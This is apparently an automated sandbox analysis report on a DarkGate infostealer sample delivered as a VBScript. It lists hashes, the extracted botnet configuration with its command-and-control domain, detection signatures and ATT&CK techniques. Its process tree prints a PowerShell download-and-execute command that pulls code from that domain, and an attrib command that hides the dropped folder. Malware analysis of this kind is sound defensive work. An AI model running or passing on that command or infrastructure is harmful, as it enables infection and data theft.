darkgate | 038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907

General

Target

27032024_0037_Report-26-2024.vbs
Size

12KB
MD5

b371387b0b5551c936c94bdf36c2e2f5
SHA1

2f40590d998688bd681ea0afcea615b6a348cb31
SHA256

038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
SHA512

2c31bc7357c6b87b85cf44cedb9b864c6050544707a0f053121833ce677b99fa1094b2850b4ac73520e31b4804830d39f96ae506ae57f4fa7c49e9f04317b057
SSDEEP

192:QMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN/Z/:Ly19gR3IquNgzG2oNdOdEpeeqlPxd

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

withupdate.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VqunyHFY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/3160-34-0x0000000002D50000-0x0000000002DC3000-memory.dmp	family_darkgate_v6
behavioral2/memory/3160-36-0x0000000002D50000-0x0000000002DC3000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	1356	powershell.exe
20	1356	powershell.exe
31	1356	powershell.exe
34	1356	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3160	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1356	powershell.exe
1356	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1356	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 1356	4252	WScript.exe	87
PID 4252 wrote to memory of 1356	4252	WScript.exe	87
PID 1356 wrote to memory of 3160	1356	powershell.exe	99
PID 1356 wrote to memory of 3160	1356	powershell.exe	99
PID 1356 wrote to memory of 3160	1356	powershell.exe	99
PID 1356 wrote to memory of 1960	1356	powershell.exe	100
PID 1356 wrote to memory of 1960	1356	powershell.exe	100

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1960	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\27032024_0037_Report-26-2024.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3160
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oaintbfo.rrn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\rjtu\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

Download Submit
C:\rjtu\script.ahk

Filesize
55KB

MD5
e93f832ee64b07207c38479dbf3ee767

SHA1
7f4a0063a53ed2ba9c2c2e77eacea34ccfbb99f7

SHA256
dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455

SHA512
f46fafc946b0155ab43df99e92f5050e8967ac9528a465afc027801b20431d1c5c8f44a10c04738a995b8819f173e6cf270ab70ed352f69794cef9176f52fe51

Download Submit
C:\rjtu\test.txt

Filesize
64KB

MD5
00309ea2d3859d73492152a8326400fb

SHA1
45a7010076e2b6942605261109ff889a56aa078a

SHA256
4e8929c00821215dc16b66b3032dac248bb41c574cf48d6393ebe75adaca1d97

SHA512
276543b7d0a6110c2e6f7fc845711c92702fcc86e1d5428ff181cb42b294fda22929f5609599b5847b705af74f684c06880e9e31fcdb9676d1b90ea804dffb1b

Download Submit
memory/1356-9-0x00000245502B0000-0x00000245502D2000-memory.dmp

Filesize
136KB

Download
memory/1356-10-0x00007FFFA11D0000-0x00007FFFA1C91000-memory.dmp

Filesize
10.8MB

Download
memory/1356-11-0x0000024550130000-0x0000024550140000-memory.dmp

Filesize
64KB

Download
memory/1356-12-0x00000245509B0000-0x0000024550B72000-memory.dmp

Filesize
1.8MB

Download
memory/1356-18-0x00007FFFA11D0000-0x00007FFFA1C91000-memory.dmp

Filesize
10.8MB

Download
memory/1356-32-0x00007FFFA11D0000-0x00007FFFA1C91000-memory.dmp

Filesize
10.8MB

Download
memory/3160-34-0x0000000002D50000-0x0000000002DC3000-memory.dmp

Filesize
460KB

Download
memory/3160-36-0x0000000002D50000-0x0000000002DC3000-memory.dmp

Filesize
460KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads